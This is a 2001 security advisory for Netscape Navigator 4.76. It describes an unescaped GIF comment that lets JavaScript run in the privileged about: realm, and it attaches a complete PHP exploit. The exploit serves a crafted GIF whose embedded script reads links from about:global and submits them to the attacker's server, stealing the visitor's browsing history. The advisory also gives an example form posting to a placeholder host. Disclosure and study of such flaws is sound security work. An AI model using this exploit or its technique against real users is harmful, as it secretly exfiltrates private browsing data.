Product: Netscape Navigator/Communicator
Tested on: 4.76 (on Linux and Win98/NT)
Vendor Contact: Reported 2001-03-22

{ Problem }--------------------------------------------------------

- Overview:
    The Netscape browser does not escape the gif file comment in the
    image information page. This allows javascript execution in the
    "about:" protocol and can for example be used to upload the
    History (about:global) to a webserver.

- Detail:
    Netscape does not allow javascript to access documents from
    a different domain. This stops a javascript from one domain
    that tries to mess around with login forms/private data from other
    domain. The following error message is shown

    "access disallowed from scripts at <javascriptdomain> to documents
    at another domain."

    Now there is the protocol "about:" that is used
    for some special tasks.

    about:          - shows Netscape version and copyrights
    about:blank     - shows a blank document
    about:config    - shows Browser configuration.
    about:global    - shows Information about the Netscape global history
    about:<url>     - shows Information about the specified url
    ..
    There are some other about: documents (try grepping the netscape binary).

    about:global is very interesting since all visited documents are
    listed there. So I tried to find a way to access this information.

    I created a frameset with 2 frames. The first Frame (called foo)
    contains about:global. Using <frame src="about:global">,
    <meta http-equiv="refresh" content="10; URL=about:global"> or
    document.location.href="about.global"; for setting this url did not
    work. So I used the following trick to make it work:

        <base href="about:">
        <form action="global" name="loadhistory">
            <input type="submit">
        </form>
        <script language="javascript">
            document.loadhistory.submit();
        </script>

    My intention is that the second frame (called bar) grabs 10 urls
    in the first frame using javascript and sends them to the server.

    Accessing parent.frames["foo"].document.links does not work since
    foo is displaying an about: document and bar is a normal http document:
    "access disallowed from scripts at blah to documents..."

    So I tried to find a way to start a javascript within an
    about: document. about:<someurl> comes into mind since there are
    a lot server specified values.

    First I tried to inject javascript using the url of the script.
    But since this url is encoded (space => %20 etc.) there is no way
    in. Modifying the Content-Type (File MIME Type) did not work
    either because Netscape opens a "Save as..." window when
    supplying an unknown mimetype.

    Then I remembered that Netscape shows the comment included in
    gif files. A quick test showed that the comment is not escaped.
    So Javascript in gif comments is executed in the about: realm.
    This means that this script can then access the content of
    about:global. nice.

    The following script included in the comment reads 10 urls in
    the about:global frame (foo), stores them in the form and finally
    submits this form.

    <form action=http://bla/ns476history.php target=_parent name=s method=get>
    <input name=u>
    </form>
    <script>
        f=parent.frames["foo"].document;
        l="";
        for(i=0;i<10;i++)
            l+=f.links[i]+"|";
        document.s.u.value=l;
        document.s.submit();
    </script>

    The server has 10 urls of about:global urls now.

    Accessing about:config should be possible too, but
    I did not try it.

{ Solution }--------------------------------------------------------

    Disable Javascript

    or

    Upgrade to 4.77

{ Exploit }---------------------------------------------------------

    attached

    or

    http://dividuum.de/security/netscape/

--------------------------------------------------------------------

Regards,
Florian Wesch <[EMAIL PROTECTED]>
http://dividuum.de
<?
/*
Netscape 4.76 gif comment flaw

Florian Wesch <[EMAIL PROTECTED]>
http://dividuum.de
*/

$self="http://".$SERVER_NAME.(($SERVER_PORT==80)?"":":$SERVER_PORT").$PHP_SELF;
if (strlen($self)>64) {
    echo "Url of $self is too long. 64 maximum.<br>";
    echo "You can change this but I think 64 should be enough for anybody ;-)";
    exit;
}

if (!isset($mode)) $mode="intro";

// If urllist is submitted
if (isset($u)) $mode="showhist";

switch ($mode) {
    case "intro":
        ?>
        <html>
            <body>
                <a href="<? echo $self; ?>?mode=frameset">Submit 10 urls of your 
history</a><br>
            </body>
        </html>
        <?
        break;
    case "frameset":
        ?>
        <html>
            <frameset rows="50%,50%" border=0 frameborder=0 framespacing=0>
                <frame src="<? echo $self; ?>?mode=loadhistory" name="foo" 
scrolling=no>
                <frame src="<? echo $self; ?>?mode=showimageinfo" name="bar" 
scrolling=no>
            </frameset>
        </html>
        <?
        break;
    case "loadhistory":
        // replaces the current document with about:global using javascript
        ?>
        <html>
            <base href="about:">
            <form action="global" name="loadhistory">
                <input type="submit">
            </form>
            <script language="javascript">
                document.loadhistory.submit();
            </script>
        </html>
        <?
        break;
    case "showimageinfo":
        ?>
        <html>
            <head>
                <meta http-equiv="refresh" content="5; URL=about:<? echo $self; 
?>?mode=evilgif">
            </head>
            <body>
                Waiting 5 seconds...<br>
                <img src="<? echo $self; ?>?mode=evilgif">
            </body>
        </html>
        <?
        break;
    case "evilgif":
        // Gifs are supposed to be compressed. The program I
        // used sucks :-)
        header("Content-type: image/gif");
        $gif ="4749463839610a000a00f70000ffffffffffccffff";
        $gif.="99ffff66ffff33ffff00ffccffffccccffcc99ffcc6";
        $gif.="6ffcc33ffcc00ff99ffff99ccff9999ff9966ff9933";
        $gif.="ff9900ff66ffff66ccff6699ff6666ff6633ff6600f";
        $gif.="f33ffff33ccff3399ff3366ff3333ff3300ff00ffff";
        $gif.="00ccff0099ff0066ff0033ff0000fffffffffffffff";
        $gif.="fffffffffffffffffffffffffffffffffffffffffff";
        $gif.="fffffffffffffffffffffffffffffffffffffffffff";
        $gif.="fffffffffffffffffffffffffffffffffffffffffff";
        $gif.="ffffffffffffffffffffffff0000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="00000000000000021feff";
        $gif.=bin2hex(sprintf("%77s%s",

      /*"<form action=".$self,' target=_parent name=s method=get >'.*/
      /* I'm using POST so the submitted urls do not appear in the logfile */
        "<form action=".$self,' target=_parent name=s method=post>'.
            '<input name=u>'.
        '</form>'.
        '<script>'.
            'f=parent.frames["foo"].document;'.
            'l="";'.
          /*'for(i=0;i<f.links.length;i++)'.*/
            'for(i=0;i<10            ;i++)'.
                'l+=f.links[i]+"|";'.
            'document.s.u.value=l;'.
            'document.'.chr(255).'s.submit();'.
        '</script>'));

        $gif.=              "00000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="00000000000002c000000000a000a00000813004708";
        $gif.="1c48b0a0c18308132a5cc8b061c28000003b";
        echo pack("H".strlen($gif), $gif);
        break;
    case "showhist":
        $urls=explode("|",$u);
        echo "<h1>Top 10 urls in about:global</h1>";
        foreach ($urls as $url) {
            echo "<a href=$url>$url</a><br>";
        }
    };
?>

Reply via email to